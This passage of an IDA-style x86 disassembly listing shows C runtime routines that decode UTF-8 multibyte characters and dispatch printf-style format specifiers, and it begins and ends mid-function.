		jnz	short loc_44B199
		mov	eax, [ebp+arg_C]
		mov	ecx, dword_40FB60
		mov	ebx, dword_40FB64
		mov	[eax], ecx
		mov	[eax+4], ebx
		xor	eax, eax
		jmp	loc_44B425
; ---------------------------------------------------------------------------


loc_44B199:				; CODE XREF: sub_44B14B+31j
					; sub_44B14B+176j
		cmp	[ebp+arg_8], 0
		jnz	short loc_44B1BD
		mov	edx, [ebp+arg_C]
		movzx	eax, [ebp+var_2]
		mov	[edx], eax
		mov	edx, [ebp+arg_C]
		movzx	eax, [ebp+var_3]
		mov	[edx+6], ax
		mov	eax, 0FFFFFFFEh
		jmp	loc_44B425
; ---------------------------------------------------------------------------


loc_44B1BD:				; CODE XREF: sub_44B14B+52j
		cmp	[ebp+var_3], 0
		jbe	short loc_44B204
		mov	eax, [ebp+var_8]
		movzx	eax, byte ptr [eax]
		and	eax, 0C0h
		cmp	eax, 80h
		jz	short loc_44B1E8
		call	sub_449B9B
		mov	dword ptr [eax], 2Ah
		or	eax, 0FFFFFFFFh
		jmp	loc_44B425
; ---------------------------------------------------------------------------


loc_44B1E8:				; CODE XREF: sub_44B14B+88j
		movzx	eax, [ebp+var_2]
		shl	eax, 6
		mov	edx, [ebp+var_8]
		movzx	edx, byte ptr [edx]
		and	edx, 3Fh
		or	eax, edx
		mov	[ebp+var_2], ax
		sub	[ebp+var_3], 1
		jmp	short loc_44B275
; ---------------------------------------------------------------------------


loc_44B204:				; CODE XREF: sub_44B14B+76j
		mov	eax, [ebp+var_8]
		test	byte ptr [eax],	80h
		jnz	short loc_44B218
		mov	eax, [ebp+var_8]
		movzx	eax, byte ptr [eax]
		mov	[ebp+var_2], ax
		jmp	short loc_44B275
; ---------------------------------------------------------------------------


loc_44B218:				; CODE XREF: sub_44B14B+BFj
		mov	eax, [ebp+var_8]
		movzx	eax, byte ptr [eax]
		and	eax, 0E0h
		cmp	eax, 0C0h
		jnz	short loc_44B23D
		mov	eax, [ebp+var_8]
		movzx	eax, byte ptr [eax]
		and	eax, 1Fh
		mov	[ebp+var_2], ax
		mov	[ebp+var_3], 1
		jmp	short loc_44B275
; ---------------------------------------------------------------------------


loc_44B23D:				; CODE XREF: sub_44B14B+DDj
		mov	eax, [ebp+var_8]
		movzx	eax, byte ptr [eax]
		and	eax, 0F0h
		cmp	eax, 0E0h
		jnz	short loc_44B262
		mov	eax, [ebp+var_8]
		movzx	eax, byte ptr [eax]
		and	eax, 0Fh
		mov	[ebp+var_2], ax
		mov	[ebp+var_3], 2
		jmp	short loc_44B275
; ---------------------------------------------------------------------------


loc_44B262:				; CODE XREF: sub_44B14B+102j
		call	sub_449B9B
		mov	dword ptr [eax], 2Ah
		or	eax, 0FFFFFFFFh
		jmp	loc_44B425
; ---------------------------------------------------------------------------


loc_44B275:				; CODE XREF: sub_44B14B+B7j
					; sub_44B14B+CBj ...
		cmp	[ebp+var_3], 0
		jnz	short loc_44B2BB
		cmp	[ebp+arg_0], 0
		jz	short loc_44B28B
		mov	edx, [ebp+arg_0]
		mov	ax, [ebp+var_2]
		mov	[edx], ax


loc_44B28B:				; CODE XREF: sub_44B14B+134j
		mov	edx, [ebp+arg_C]
		mov	word ptr [edx+6], 0
		cmp	[ebp+var_2], 0
		jnz	short loc_44B2A4
		mov	[ebp+var_C], 0
		jmp	short loc_44B2B3
; ---------------------------------------------------------------------------


loc_44B2A4:				; CODE XREF: sub_44B14B+14Ej
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax
		mov	edx, [ebp+arg_4]
		sub	eax, edx
		mov	[ebp+var_C], eax


loc_44B2B3:				; CODE XREF: sub_44B14B+157j
		mov	eax, [ebp+var_C]
		jmp	loc_44B425
; ---------------------------------------------------------------------------


loc_44B2BB:				; CODE XREF: sub_44B14B+12Ej
		inc	[ebp+var_8]
		dec	[ebp+arg_8]
		jmp	loc_44B199
; ---------------------------------------------------------------------------


loc_44B2C6:				; CODE XREF: sub_44B14B+27j
		mov	[ebp+var_C], 0
		cmp	[ebp+arg_4], 0
		jnz	short loc_44B2F9
		mov	eax, [ebp+arg_C]
		mov	ecx, dword_40FB60
		mov	ebx, dword_40FB64
		mov	[eax], ecx
		mov	[eax+4], ebx
		mov	eax, off_411928
		movzx	eax, word ptr [eax]
		and	eax, 0F00h
		jmp	loc_44B425
; ---------------------------------------------------------------------------


loc_44B2F9:				; CODE XREF: sub_44B14B+186j
					; sub_44B14B+292j
		cmp	[ebp+arg_8], 0
		jnz	short loc_44B31D
		mov	edx, [ebp+arg_C]
		movzx	eax, [ebp+var_2]
		mov	[edx], eax
		mov	edx, [ebp+arg_C]
		movzx	eax, [ebp+var_3]
		mov	[edx+6], ax
		mov	eax, 0FFFFFFFEh
		jmp	loc_44B425
; ---------------------------------------------------------------------------


loc_44B31D:				; CODE XREF: sub_44B14B+1B2j
		mov	al, [ebp+var_3]
		cmp	al, 10h
		jnb	short loc_44B359
		movzx	eax, al
		mov	eax, off_411928[eax*4]
		mov	[ebp+var_14], eax
		test	eax, eax
		jz	short loc_44B359
		mov	eax, [ebp+var_C]
		inc	eax
		mov	[ebp+var_C], eax
		cmp	eax, 0FF0h
		jge	short loc_44B359
		mov	eax, [ebp+var_8]
		movzx	eax, byte ptr [eax]
		mov	edx, [ebp+var_14]
		mov	ax, [edx+eax*2]
		mov	[ebp+var_E], ax
		test	ax, ax
		jnz	short loc_44B36C


loc_44B359:				; CODE XREF: sub_44B14B+1D7j
					; sub_44B14B+1E8j ...
		call	sub_449B9B
		mov	dword ptr [eax], 2Ah
		or	eax, 0FFFFFFFFh
		jmp	loc_44B425
; ---------------------------------------------------------------------------


loc_44B36C:				; CODE XREF: sub_44B14B+20Cj
		movzx	eax, [ebp+var_E]
		mov	edx, eax
		and	edx, 0F00h
		sar	edx, 8
		mov	[ebp+var_3], dl
		test	eax, 8000h
		jz	short loc_44B398
		movzx	eax, [ebp+var_2]
		and	eax, 0FFFFFF00h
		movzx	edx, byte ptr [ebp+var_E]
		or	eax, edx
		mov	[ebp+var_2], ax


loc_44B398:				; CODE XREF: sub_44B14B+238j
		test	[ebp+var_E], 1000h
		jz	short loc_44B3BA
		movzx	eax, [ebp+var_2]
		mov	edx, eax
		shl	edx, 8
		sar	eax, 8
		and	eax, 0FFh
		or	edx, eax
		mov	ax, dx
		mov	[ebp+var_2], ax


loc_44B3BA:				; CODE XREF: sub_44B14B+253j
		test	[ebp+var_E], 4000h
		jz	short loc_44B3D7
		mov	eax, [ebp+var_8]
		cmp	byte ptr [eax],	0
		jz	short loc_44B3D7
		inc	[ebp+var_8]
		dec	[ebp+arg_8]
		mov	[ebp+var_C], 0


loc_44B3D7:				; CODE XREF: sub_44B14B+275j
					; sub_44B14B+27Dj
		test	[ebp+var_E], 2000h
		jz	loc_44B2F9
		cmp	[ebp+arg_0], 0
		jz	short loc_44B3F3
		mov	edx, [ebp+arg_0]
		mov	ax, [ebp+var_2]
		mov	[edx], ax


loc_44B3F3:				; CODE XREF: sub_44B14B+29Cj
		mov	edx, [ebp+arg_C]
		movzx	eax, [ebp+var_2]
		mov	[edx], eax
		mov	edx, [ebp+arg_C]
		movzx	eax, [ebp+var_3]
		mov	[edx+6], ax
		cmp	[ebp+var_2], 0
		jnz	short loc_44B417
		mov	[ebp+var_18], 0
		jmp	short loc_44B422
; ---------------------------------------------------------------------------


loc_44B417:				; CODE XREF: sub_44B14B+2C1j
		mov	eax, [ebp+var_8]
		mov	edx, [ebp+arg_4]
		sub	eax, edx
		mov	[ebp+var_18], eax


loc_44B422:				; CODE XREF: sub_44B14B+2CAj
		mov	eax, [ebp+var_18]


loc_44B425:				; CODE XREF: sub_44B14B+49j
					; sub_44B14B+6Dj ...
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_44B14B	endp

; ---------------------------------------------------------------------------
		db 90h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44B42B	proc near		; CODE XREF: sub_449FDB+243p

var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= qword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		push	ebx
		movzx	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		cmp	eax, 41h
		jl	short loc_44B44A
		cmp	eax, 47h
		jg	short loc_44B459
		jmp	dword_40FC68[eax*4]
; ---------------------------------------------------------------------------


loc_44B44A:				; CODE XREF: sub_44B42B+11j
		cmp	[ebp+var_4], 25h
		jz	loc_44BB1D
		jmp	loc_44BB32
; ---------------------------------------------------------------------------


loc_44B459:				; CODE XREF: sub_44B42B+16j
		mov	eax, [ebp+var_4]
		cmp	eax, 58h
		jz	loc_44B68E
		jl	loc_44BB32
		mov	eax, [ebp+var_4]
		cmp	eax, 61h
		jl	loc_44BB32
		cmp	eax, 78h
		jg	loc_44BB32
		jmp	dword_40FC04[eax*4]
; ---------------------------------------------------------------------------
		mov	eax, [ebp+arg_0]
		cmp	byte ptr [eax+3Ah], 6Ch
		jz	short loc_44B4B4
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+14h]
		lea	ecx, [edx+1]
		mov	[eax+14h], ecx
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax]
		add	ecx, 4
		mov	[eax], ecx
		mov	eax, [ebp+arg_C]
		mov	ecx, [ecx-4]
		mov	[eax+edx], cl
		jmp	loc_44BB5D
; ---------------------------------------------------------------------------


loc_44B4B4:				; CODE XREF: sub_44B42B+63j
		mov	eax, [ebp+arg_4]
		mov	edx, [eax]
		add	edx, 4
		mov	[eax], edx
		mov	eax, [edx-4]
		mov	[ebp+var_6], ax
		mov	[ebp+var_A], ax
		mov	[ebp+var_8], 0
		mov	edx, [ebp+arg_0]
		or	dword ptr [edx+2Ch], 0FFFFFFFFh
		lea	eax, [ebp+var_A]
		push	eax
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_44C6AB
		add	esp, 8
		test	eax, eax
		jge	loc_44BB5D
		or	eax, 0FFFFFFFFh
		jmp	loc_44BB5F
; ---------------------------------------------------------------------------
		mov	eax, [ebp+arg_0]
		cmp	byte ptr [eax+3Ah], 6Ch
		jnz	short loc_44B51B
		mov	edx, [ebp+arg_4]
		mov	ecx, [edx]
		add	ecx, 4
		mov	[edx], ecx
		mov	edx, [ecx-4]
		mov	ecx, edx
		mov	ebx, ecx
		sar	ebx, 1Fh
		mov	[ebp+var_10], ecx
		mov	[ebp-0Ch], ebx
		jmp	short loc_44B58F
; ---------------------------------------------------------------------------


loc_44B51B:				; CODE XREF: sub_44B42B+D2j
		mov	edx, [ebp+arg_0]
		cmp	byte ptr [edx+3Ah], 71h
		jnz	short loc_44B53C
		mov	edx, [ebp+arg_4]
		mov	ecx, [edx]
		add	ecx, 8
		mov	[edx], ecx
		mov	ebx, [ecx-4]
		mov	ecx, [ecx-8]
		mov	[ebp+var_10], ecx
		mov	[ebp-0Ch], ebx
		jmp	short loc_44B583
; ---------------------------------------------------------------------------


loc_44B53C:				; CODE XREF: sub_44B42B+F7j
		mov	edx, [ebp+arg_0]
		cmp	byte ptr [edx+3Ah], 6Ah
		jnz	short loc_44B55D
		mov	edx, [ebp+arg_4]
		mov	ecx, [edx]
		add	ecx, 8
		mov	[edx], ecx
		mov	ebx, [ecx-4]
		mov	ecx, [ecx-8]
		mov	[ebp+var_10], ecx
		mov	[ebp-0Ch], ebx
		jmp	short loc_44B577
; ---------------------------------------------------------------------------


loc_44B55D:				; CODE XREF: sub_44B42B+118j
		mov	edx, [ebp+arg_4]
		mov	ecx, [edx]
		add	ecx, 4
		mov	[edx], ecx
		mov	edx, [ecx-4]
		mov	ecx, edx
		mov	ebx, ecx
		sar	ebx, 1Fh
		mov	[ebp+var_10], ecx
		mov	[ebp-0Ch], ebx


loc_44B577:				; CODE XREF: sub_44B42B+130j
		mov	ecx, [ebp+var_10]
		mov	ebx, [ebp-0Ch]
		mov	[ebp+var_10], ecx
		mov	[ebp-0Ch], ebx


loc_44B583:				; CODE XREF: sub_44B42B+10Fj
		mov	ecx, [ebp+var_10]
		mov	ebx, [ebp-0Ch]
		mov	[ebp+var_10], ecx
		mov	[ebp-0Ch], ebx


loc_44B58F:				; CODE XREF: sub_44B42B+EEj
		mov	ecx, [ebp+var_10]
		mov	ebx, [ebp-0Ch]
		mov	[eax], ecx
		mov	[eax+4], ebx
		mov	eax, [ebp+arg_0]
		cmp	byte ptr [eax+3Ah], 68h
		jnz	short loc_44B5BF
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		mov	ebx, [eax+4]
		mov	dx, cx
		movsx	edx, dx
		mov	ecx, edx
		mov	ebx, ecx
		sar	ebx, 1Fh
		mov	[eax], ecx
		mov	[eax+4], ebx
		jmp	short loc_44B605
; ---------------------------------------------------------------------------


loc_44B5BF:				; CODE XREF: sub_44B42B+176j
		mov	eax, [ebp+arg_0]
		cmp	byte ptr [eax+3Ah], 62h
		jnz	short loc_44B5E3
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		mov	ebx, [eax+4]
		mov	dl, cl
		movsx	edx, dl
		mov	ecx, edx
		mov	ebx, ecx
		sar	ebx, 1Fh
		mov	[eax], ecx
		mov	[eax+4], ebx
		jmp	short loc_44B605
; ---------------------------------------------------------------------------


loc_44B5E3:				; CODE XREF: sub_44B42B+19Bj
		mov	eax, [ebp+arg_0]
		mov	al, [eax+3Ah]
		cmp	al, 74h
		jz	short loc_44B5F1
		cmp	al, 7Ah
		jnz	short loc_44B605


loc_44B5F1:				; CODE XREF: sub_44B42B+1C0j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		mov	ebx, [eax+4]
		mov	edx, ecx
		mov	ebx, ecx
		sar	ebx, 1Fh
		mov	[eax], ecx
		mov	[eax+4], ebx


loc_44B605:				; CODE XREF: sub_44B42B+192j
					; sub_44B42B+1B6j ...
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+4]
		mov	eax, [eax]
		test	edx, edx
		jg	short loc_44B62C
		jl	short loc_44B617
		test	eax, eax
		jnb	short loc_44B62C


loc_44B617:				; CODE XREF: sub_44B42B+1E6j
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+14h]
		lea	ecx, [edx+1]
		mov	[eax+14h], ecx
		mov	eax, [ebp+arg_C]
		mov	byte ptr [eax+edx], 2Dh
		jmp	short loc_44B66A
; ---------------------------------------------------------------------------


loc_44B62C:				; CODE XREF: sub_44B42B+1E4j
					; sub_44B42B+1EAj
		mov	eax, [ebp+arg_0]
		test	word ptr [eax+38h], 2
		jz	short loc_44B64C
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+14h]
		lea	ecx, [edx+1]
		mov	[eax+14h], ecx
		mov	eax, [ebp+arg_C]
		mov	byte ptr [eax+edx], 2Bh
		jmp	short loc_44B66A
; ---------------------------------------------------------------------------


loc_44B64C:				; CODE XREF: sub_44B42B+20Aj
		mov	eax, [ebp+arg_0]
		test	word ptr [eax+38h], 1
		jz	short loc_44B66A
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+14h]
		lea	ecx, [edx+1]
		mov	[eax+14h], ecx
		mov	eax, [ebp+arg_C]
		mov	byte ptr [eax+edx], 20h


loc_44B66A:				; CODE XREF: sub_44B42B+1FFj
					; sub_44B42B+21Fj ...
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+14h]
		mov	ecx, [ebp+arg_C]
		add	edx, ecx
		mov	[eax+10h], edx
		movzx	eax, [ebp+arg_8]
		push	eax
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_44C7FB
		add	esp, 8
		jmp	loc_44BB5D
; ---------------------------------------------------------------------------


loc_44B68E:				; CODE XREF: sub_44B42B+34j
		mov	eax, [ebp+arg_0]
		cmp	byte ptr [eax+3Ah], 6Ch
		jnz	short loc_44B6B0
		mov	edx, [ebp+arg_4]
		mov	ecx, [edx]
		add	ecx, 4
		mov	[edx], ecx
		mov	edx, [ecx-4]
		mov	ecx, edx
		xor	ebx, ebx
		mov	[ebp+var_18], ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_44B721
; ---------------------------------------------------------------------------


loc_44B6B0:				; CODE XREF: sub_44B42B+26Aj
		mov	edx, [ebp+arg_0]
		cmp	byte ptr [edx+3Ah], 71h
		jnz	short loc_44B6D1
		mov	edx, [ebp+arg_4]
		mov	ecx, [edx]
		add	ecx, 8
		mov	[edx], ecx
		mov	ebx, [ecx-4]
		mov	ecx, [ecx-8]
		mov	[ebp+var_18], ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_44B715
; ---------------------------------------------------------------------------


loc_44B6D1:				; CODE XREF: sub_44B42B+28Cj
		mov	edx, [ebp+arg_0]
		cmp	byte ptr [edx+3Ah], 6Ah
		jnz	short loc_44B6F2
		mov	edx, [ebp+arg_4]
		mov	ecx, [edx]
		add	ecx, 8
		mov	[edx], ecx
		mov	ebx, [ecx-4]
		mov	ecx, [ecx-8]
		mov	[ebp+var_18], ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_44B709
; ---------------------------------------------------------------------------


loc_44B6F2:				; CODE XREF: sub_44B42B+2ADj
		mov	edx, [ebp+arg_4]
		mov	ecx, [edx]
		add	ecx, 4
		mov	[edx], ecx
		mov	edx, [ecx-4]
		mov	ecx, edx
		xor	ebx, ebx
		mov	[ebp+var_18], ecx
		mov	[ebp+var_14], ebx


loc_44B709:				; CODE XREF: sub_44B42B+2C5j
		mov	ecx, [ebp+var_18]
		mov	ebx, [ebp+var_14]
		mov	[ebp+var_18], ecx
		mov	[ebp+var_14], ebx


loc_44B715:				; CODE XREF: sub_44B42B+2A4j
		mov	ecx, [ebp+var_18]
		mov	ebx, [ebp+var_14]
		mov	[ebp+var_18], ecx
		mov	[ebp+var_14], ebx


loc_44B721:				; CODE XREF: sub_44B42B+283j
		mov	ecx, [ebp+var_18]
		mov	ebx, [ebp+var_14]
		mov	[eax], ecx
		mov	[eax+4], ebx
		mov	eax, [ebp+arg_0]
		cmp	byte ptr [eax+3Ah], 68h
		jnz	short loc_44B750
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		mov	ebx, [eax+4]
		mov	edx, ecx
		movzx	edx, dx
		mov	ecx, edx
		mov	ebx, ecx
		sar	ebx, 1Fh
		mov	[eax], ecx
		mov	[eax+4], ebx
		jmp	short loc_44B793
; ---------------------------------------------------------------------------


loc_44B750:				; CODE XREF: sub_44B42B+308j
		mov	eax, [ebp+arg_0]
		cmp	byte ptr [eax+3Ah], 62h
		jnz	short loc_44B774
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		mov	ebx, [eax+4]
		mov	edx, ecx
		movzx	edx, dl
		mov	ecx, edx
		mov	ebx, ecx
		sar	ebx, 1Fh
		mov	[eax], ecx
		mov	[eax+4], ebx
		jmp	short loc_44B793
; ---------------------------------------------------------------------------


loc_44B774:				; CODE XREF: sub_44B42B+32Cj
		mov	eax, [ebp+arg_0]
		mov	al, [eax+3Ah]
		cmp	al, 74h
		jz	short loc_44B782
		cmp	al, 7Ah
		jnz	short loc_44B793


loc_44B782:				; CODE XREF: sub_44B42B+351j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		mov	ebx, [eax+4]
		mov	edx, ecx
		xor	ebx, ebx
		mov	[eax], ecx
		mov	[eax+4], ebx


loc_44B793:				; CODE XREF: sub_44B42B+323j
					; sub_44B42B+347j ...
		mov	eax, [ebp+arg_0]
		test	word ptr [eax+38h], 8
		jz	short loc_44B7DE
		mov	edx, [eax+4]
		mov	eax, [eax]
		test	edx, edx
		jnz	short loc_44B7AB
		test	eax, eax
		jz	short loc_44B7DE


loc_44B7AB:				; CODE XREF: sub_44B42B+37Aj
		mov	al, [ebp+arg_8]
		cmp	al, 78h
		jz	short loc_44B7B6
		cmp	al, 58h
		jnz	short loc_44B7DE


loc_44B7B6:				; CODE XREF: sub_44B42B+385j
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+14h]
		lea	ecx, [edx+1]
		mov	[eax+14h], ecx
		mov	eax, [ebp+arg_C]
		mov	byte ptr [eax+edx], 30h
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+14h]
		lea	ecx, [edx+1]
		mov	[eax+14h], ecx
		mov	eax, [ebp+arg_C]
		mov	cl, [ebp+arg_8]
		mov	[eax+edx], cl


loc_44B7DE:				; CODE XREF: sub_44B42B+371j
					; sub_44B42B+37Ej ...
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+14h]
		mov	ecx, [ebp+arg_C]
		add	edx, ecx
		mov	[eax+10h], edx
		movzx	eax, [ebp+arg_8]
		push	eax
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_44C7FB
		add	esp, 8
		jmp	loc_44BB5D
; ---------------------------------------------------------------------------
		mov	eax, [ebp+arg_0]
		cmp	byte ptr [eax+3Ah], 4Ch
		jnz	short loc_44B81D
		mov	edx, [ebp+arg_4]
		mov	ecx, [edx]
		add	ecx, 8
		mov	[edx], ecx
		fld	qword ptr [ecx-8]
		fstp	[ebp+var_20]
		jmp	short loc_44B82D
; ---------------------------------------------------------------------------


loc_44B81D:				; CODE XREF: sub_44B42B+3DEj
		mov	edx, [ebp+arg_4]
		mov	ecx, [edx]
		add	ecx, 8
		mov	[edx], ecx
		fld	qword ptr [ecx-8]
		fstp	[ebp+var_20]


loc_44B82D:				; CODE XREF: sub_44B42B+3F0j
		fld	[ebp+var_20]
		fstp	qword ptr [eax]
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_44CA3B
		pop	ecx
		cmp	ax, 2
		jz	short loc_44B8A0
		mov	eax, [ebp+arg_0]
		test	word ptr [eax+6], 8000h
		jz	short loc_44B862
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+14h]
		lea	ecx, [edx+1]
		mov	[eax+14h], ecx
		mov	eax, [ebp+arg_C]
		mov	byte ptr [eax+edx], 2Dh
		jmp	short loc_44B8A0
; ---------------------------------------------------------------------------


loc_44B862:				; CODE XREF: sub_44B42B+420j
		mov	eax, [ebp+arg_0]
		test	word ptr [eax+38h], 2
		jz	short loc_44B882
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+14h]
		lea	ecx, [edx+1]
		mov	[eax+14h], ecx
		mov	eax, [ebp+arg_C]
		mov	byte ptr [eax+edx], 2Bh
		jmp	short loc_44B8A0
; ---------------------------------------------------------------------------


loc_44B882:				; CODE XREF: sub_44B42B+440j
		mov	eax, [ebp+arg_0]
		test	word ptr [eax+38h], 1
		jz	short loc_44B8A0
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+14h]
		lea	ecx, [edx+1]
		mov	[eax+14h], ecx
		mov	eax, [ebp+arg_C]
		mov	byte ptr [eax+edx], 20h


loc_44B8A0:				; CODE XREF: sub_44B42B+415j
					; sub_44B42B+435j ...
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+14h]
		mov	ecx, [ebp+arg_C]
		add	edx, ecx
		mov	[eax+10h], edx
		movzx	eax, [ebp+arg_8]
		push	eax
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_44CA4B
		add	esp, 8
		jmp	loc_44BB5D
; ---------------------------------------------------------------------------
		mov	eax, [ebp+arg_0]
		movzx	eax, byte ptr [eax+3Ah]
		mov	[ebp+var_24], eax
		cmp	eax, 68h
		jz	loc_44B9AD
		cmp	eax, 6Ah
		jz	short loc_44B955
		cmp	eax, 6Ch
		jz	loc_44B9C8
		jg	short loc_44B8F2
		cmp	[ebp+var_24], 62h
		jz	short loc_44B917
		jmp	loc_44B9E2
; ---------------------------------------------------------------------------


loc_44B8F2:				; CODE XREF: sub_44B42B+4BAj
		mov	eax, [ebp+var_24]
		cmp	eax, 71h
		jz	short loc_44B931
		cmp	eax, 74h
		jz	short loc_44B979
		cmp	eax, 71h
		jl	loc_44B9E2
		cmp	[ebp+var_24], 7Ah
		jz	loc_44B993
		jmp	loc_44B9E2
; ---------------------------------------------------------------------------


loc_44B917:				; CODE XREF: sub_44B42B+4C0j
		mov	eax, [ebp+arg_4]
		mov	edx, [eax]
		add	edx, 4
		mov	[eax], edx
		mov	edx, [edx-4]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+30h]
		mov	[edx], al
		jmp	loc_44BB5D
; ---------------------------------------------------------------------------


loc_44B931:				; CODE XREF: sub_44B42B+4CDj
		mov	eax, [ebp+arg_4]
		mov	edx, [eax]
		add	edx, 4
		mov	[eax], edx
		mov	eax, [edx-4]
		mov	edx, [ebp+arg_0]
		mov	edx, [edx+30h]
		mov	ecx, edx
		mov	ebx, ecx
		sar	ebx, 1Fh
		mov	[eax], ecx
		mov	[eax+4], ebx
		jmp	loc_44BB5D
; ---------------------------------------------------------------------------


loc_44B955:				; CODE XREF: sub_44B42B+4AFj
		mov	eax, [ebp+arg_4]
		mov	edx, [eax]
		add	edx, 4
		mov	[eax], edx
		mov	eax, [edx-4]
		mov	edx, [ebp+arg_0]
		mov	edx, [edx+30h]
		mov	ecx, edx
		mov	ebx, ecx
		sar	ebx, 1Fh
		mov	[eax], ecx
		mov	[eax+4], ebx
		jmp	loc_44BB5D
; ---------------------------------------------------------------------------


loc_44B979:				; CODE XREF: sub_44B42B+4D2j
		mov	eax, [ebp+arg_4]
		mov	edx, [eax]
		add	edx, 4
		mov	[eax], edx
		mov	edx, [edx-4]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+30h]
		mov	[edx], eax
		jmp	loc_44BB5D
; ---------------------------------------------------------------------------


loc_44B993:				; CODE XREF: sub_44B42B+4E1j
		mov	eax, [ebp+arg_4]
		mov	edx, [eax]
		add	edx, 4
		mov	[eax], edx
		mov	edx, [edx-4]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+30h]
		mov	[edx], eax
		jmp	loc_44BB5D
; ---------------------------------------------------------------------------


loc_44B9AD:				; CODE XREF: sub_44B42B+4A6j
		mov	eax, [ebp+arg_4]
		mov	edx, [eax]
		add	edx, 4
		mov	[eax], edx
		mov	edx, [edx-4]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+30h]
		mov	[edx], ax
		jmp	loc_44BB5D
; ---------------------------------------------------------------------------


loc_44B9C8:				; CODE XREF: sub_44B42B+4B4j
		mov	eax, [ebp+arg_4]
		mov	edx, [eax]
		add	edx, 4
		mov	[eax], edx
		mov	edx, [edx-4]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+30h]
		mov	[edx], eax
		jmp	loc_44BB5D
; ---------------------------------------------------------------------------


loc_44B9E2:				; CODE XREF: sub_44B42B+4C2j
					; sub_44B42B+4D7j ...
		mov	eax, [ebp+arg_4]
		mov	edx, [eax]
		add	edx, 4
		mov	[eax], edx
		mov	edx, [edx-4]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+30h]
		mov	[edx], eax
		jmp	loc_44BB5D
; ---------------------------------------------------------------------------
		mov	eax, [ebp+arg_4]
		mov	edx, [eax]
		add	edx, 4
		mov	[eax], edx
		mov	eax, [ebp+arg_0]
		mov	edx, [edx-4]
		mov	ecx, edx
		mov	ebx, ecx
		sar	ebx, 1Fh
		mov	[eax], ecx
		mov	[eax+4], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		mov	ebx, [eax+4]
		xor	ebx, ebx
		mov	[eax], ecx
		mov	[eax+4], ebx
		mov	edx, [ebp+arg_0]
		mov	dword ptr [edx+34h], 8
		mov	eax, [ebp+arg_0]
		or	word ptr [eax+38h], 10h
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+14h]
		mov	ecx, [ebp+arg_C]
		add	edx, ecx
		mov	[eax+10h], edx
		push	78h
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_44C7FB
		add	esp, 8
		jmp	loc_44BB5D
; ---------------------------------------------------------------------------
		mov	eax, [ebp+arg_0]
		cmp	byte ptr [eax+3Ah], 6Ch
		jz	loc_44BAFA
		mov	eax, [ebp+arg_4]
		mov	edx, [eax]
		add	edx, 4
		mov	[ebp+var_2C], edx
		mov	[eax], edx
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_2C]
		mov	eax, [eax-4]
		mov	[edx+10h], eax
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+10h], 0
		jnz	short loc_44BA93
		mov	edx, [ebp+arg_0]
		mov	dword ptr [edx+10h], offset dword_40FDE8


loc_44BA93:				; CODE XREF: sub_44B42B+65Cj
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_38], eax
		cmp	dword ptr [eax+2Ch], 0
		jge	short loc_44BAB4
		mov	edx, [ebp+arg_0]
		mov	edx, [edx+10h]
		or	eax, 0FFFFFFFFh


loc_44BAA8:				; CODE XREF: sub_44B42B+682j
		inc	eax
		cmp	byte ptr [edx+eax], 0
		jnz	short loc_44BAA8
		mov	[ebp+var_30], eax
		jmp	short loc_44BAEF
; ---------------------------------------------------------------------------


loc_44BAB4:				; CODE XREF: sub_44B42B+672j
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+2Ch]
		push	edx
		push	0
		mov	eax, [eax+10h]
		push	eax
		call	sub_44A79B
		add	esp, 0Ch
		mov	[ebp+var_28], eax
		test	eax, eax
		jz	short loc_44BAE0
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+arg_0]
		mov	edx, [edx+10h]
		sub	eax, edx
		mov	[ebp+var_34], eax
		jmp	short loc_44BAE9
; ---------------------------------------------------------------------------


